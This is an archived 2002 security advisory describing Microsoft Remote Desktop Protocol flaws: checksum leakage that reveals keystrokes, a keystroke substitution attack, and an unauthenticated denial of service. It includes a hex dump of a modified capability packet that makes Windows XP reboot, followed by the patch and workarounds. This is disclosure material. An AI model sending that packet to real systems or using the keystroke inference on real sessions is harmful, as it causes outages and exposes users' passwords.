18th Sep 2002 [SBWID-5699]
COMMAND
Microsoft Windows Remote Desktop Protocol multiple vulnerabilities
SYSTEMS AFFECTED
Microsoft Windows XP Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
Microsoft Windows .NET Standard Server Beta 3
PROBLEM
Thanks to Ben Cohen [ben.cohen@skygate.co.uk] of Skygate Technology
Ltd. [http://www.skygate.co.uk/] analysis :
--snipp--
Checksum vulnerability
When RDP has encryption enabled, packets are first encrypted using RC4,
then an 8 byte HMAC checksum of the plaintext is prepended to the
cyphertext. The encryption key for RC4 is refreshed every 4096 packets,
but the HMAC key is apparently not changed during the session. Note
that the checksum relies only on the packet length, the packet contents
and the HMAC key; if a packet with identical contents is sent twice,
the two checksums will be the same, potentially leaking information if
the same packet is sent repeatedly. This is known as
encrypt-then-authenticate, and it is clearly a general design flaw in
RDP. (This problem is further discussed in Hugo Krawczyk's paper.)
This leakage can be observed in the RDP 5.0 style of input packets
(which leads to the keystroke vulnerability below). Other examples
include the same rendering operation being sent multiple times, for
example to make a cursor flash; and Terminal Services Client's device
redirection, such as identical data repeatedly transmitted from the
serial port. Plugins using Microsoft's Terminal Services Virtual
Channels are also vulnerable.
Keystroke vulnerability
In RDP 4.0, input events are sent with a unique timestamp as specified
in the T.128 standard; this packet is then framed using lower level
protocols T.125 and T.123 and transmitted using TCP. (T.125 is used by
Microsoft's RDP Virtual Channel API to multiplex other data such as
audio and printing across the same connection.) With this many protocol
layers, a single key press requires a packet 56 bytes long to be
transmitted over TCP, which is inefficient.
In RDP 5.0 Microsoft added an abbreviated way to specify common
commands including input events. These packets start 0x84 (and other
values) rather than 0x03 which is used to start T.123. Encryption is
done in the same way, but only the key code and key event type (press,
repeat or release) is sent -- there is no timestamp -- so the packets
are now only 12 bytes long.
Therefore the checksum is the same for each key event type for the same
key. This only fails when the client concatenates input events into a
single packet but this is uncommon. This reasoning does not apply to
RDP 4.0 input packets because a timestamp is sent so the packet
contents and therefore the checksum will change.
Here is an example taken from a real session:
Client to server:
84 0c c5 db ec cd 6c 7e 31 6c 47 a2
Client to server:
84 0c ef 6a bb 01 21 b0 c3 c6 f6 e5
...
Client to server:
84 0c c5 db ec cd 6c 7e 31 6c c1 0a
Client to server:
84 0c ef 6a bb 01 21 b0 c3 c6 fe bd
...
Client to server:
84 0c c5 db ec cd 6c 7e 31 6c 8e 41
Client to server:
84 0c ef 6a bb 01 21 b0 c3 c6 22 f8
The first byte (0x84) shows that these are RDP 5.0 style packets, not
T.123. The second shows the length (i.e., the packets are 0x0c bytes
long). The next 8 bytes are the HMAC checksum, and the last two are the
encrypted packet contents for the input event.
Since the two pairs of checksums match, the same thing was being sent
in each case. Indeed, the same key had been pressed several times,
although it isn't possible to tell which key it was from the data given
above. Given a larger dump of session data it would be possible to make
a good guess for which key each checksum corresponds to by looking at
the frequencies and ordering of the different checksums; this is simply
a mono-alphabetic substitution cipher on the scan code plus key event
type. This knowledge could then be used to work out what the user
types, and the attacker might then be able to capture the user's
passwords.
(Data from packets which do not start "84 0c" are a different type or
length so can be ignored. Apparently the only packets of that length
sent by the client are key events.)
Pete Chown pointed out that this is also subject to a substitution
attack since the attacker now knows enough to be able to change a key
input event to another one. Suppose the user presses "A" and the
attacker wants a "B" key press to be sent instead. The attacker knows
that the checksum and the plaintext for each of these two events. Since
the cypher is RC4 and the plaintext for the events are the same, the
desired cyphertext is obtained from XORing the "A" press plaintext and
then XORing the "B" press plaintext. So the substitution is made simply
by swapping the "A" press checksum with the "B" press checksum, and
replacing the cyphertext.
At the start of the protocol there is a negotiation of client and
server graphics capabilities, in a packet called PDU Confirm Active. A
block of 32 bytes in this packet allows the client to disable the
drawing commands that it does not support.
Exploit
=======
Shown below is the unencrypted packet contents for the problematic PDU
Confirm Active packet. The only change is from 01 to 00 on the line
indicated.
c4 01 13 00 f0 03 ea 03 01 00 ea 03 06 00 ae 01
4d 53 54 53 43 00 11 00 00 00 01 00 18 00 01 00
03 00 00 02 00 00 00 00 05 04 00 00 00 00 00 00
00 00 02 00 1c 00 08 00 01 00 01 00 01 00 00 05
00 04 00 00 01 00 01 00 00 00 01 00 00 00 03 00
58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 00 14 00 00 00 01 00 00 00
2a 00 01 00 01 01 01 00 00 01 01 01 00 01 00 00 <- was "2a 00 01 01"
00 01 01 01 01 01 01 01 01 00 01 01 01 00 00 00
00 00 a1 06 00 00 00 00 00 00 00 84 03 00 00 00
00 00 e4 04 00 00 13 00 28 00 01 00 00 03 78 00
00 00 78 00 00 00 f3 09 00 80 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00
08 00 06 00 00 00 07 00 0c 00 00 00 00 00 00 00
00 00 05 00 0c 00 00 00 00 00 02 00 02 00 08 00
0a 00 01 00 14 00 15 00 09 00 08 00 00 00 00 00
0d 00 58 00 05 00 08 00 09 08 00 00 04 00 00 00
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0c 00 08 00 01 00 00 00
0e 00 08 00 01 00 00 00 10 00 34 00 fe 00 04 00
fe 00 04 00 fe 00 08 00 fe 00 08 00 fe 00 10 00
fe 00 20 00 fe 00 40 00 fe 00 80 00 fe 00 00 01
40 00 00 08 00 01 00 01 03 00 00 00 0f 00 08 00
01 00 00 00 11 00 0c 00 01 00 00 00 00 0a 64 00
14 00 08 00 01 00 00 00 15 00 0c 00 01 00 00 00
00 0a 00 01
Denial of service
One of these apparently controls whether the Pattern BLT command is
sent. On Windows 2000 Server, disabling this command will make the
server send bitmaps instead of Pattern BLT commands. However, Windows
XP Professional apparently reboots when it tries to render patterns;
since this happens while the login screen is being drawn, this does not
require the client to have logged on or authenticated to the server.
This applies to all versions of the protocol tested (RDP 4.0, 5.0 and
5.1), and it is also reproducible with Windows .NET Standard Server
Beta 3.
--snapp--
SOLUTION
Update (19 september 2002)
======
The XP Pro Service Pack 1 patches this.
http://www.microsoft.com/technet/security/bulletin/MS02-051.asp
Workarounds
===========
Disable Remote Desktop (from Control Panel, System, Remote, Remote
Desktop, deselect the option "Allow users to connect remotely to this
computer").
Use the Microsoft Terminal Services Client version 4.0, rather than
later versions of Terminal Services Client or the Advanced Terminal
Services Client. This only cures the keystroke vulnerability and does
not address the problem for multiple packets with the same contents.
References
==========
Section 8.2.5 from T.128 Multipoint application sharing, Series T:
Terminals for telematic services, ITU-T.
The Order of Encryption and Authentication for Protecting
Communications (or: How Secure is SSL?), Hugo Krawczyk,
http://link.springer.de/link/service/series/0558/bibs/2139/21390310.htm
Section 8.18 from T.128 Multipoint application sharing, Series T:
Terminals for telematic services, ITU-T.
T.125 Multipoint communication service protocol specification, Series
T: Terminals for telematic services, ITU-T.
T.123 Network-specific data protocol stacks for multimedia
conferencing, Series T: Terminals for telematic services, ITU-T (also
RFCs 905 and 1006)
Using Terminal Services Virtual Channels, MSDN Platform SDK: Terminal
Services,
http://msdn.microsoft.com/library/en-us/termserv/termserv/using_terminal_services_virtual_channels.asp
HMAC: Keyed-Hashing for Message Authentication, RFC 2104,
http://www.ietf.org/rfc/rfc2104.txt
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH
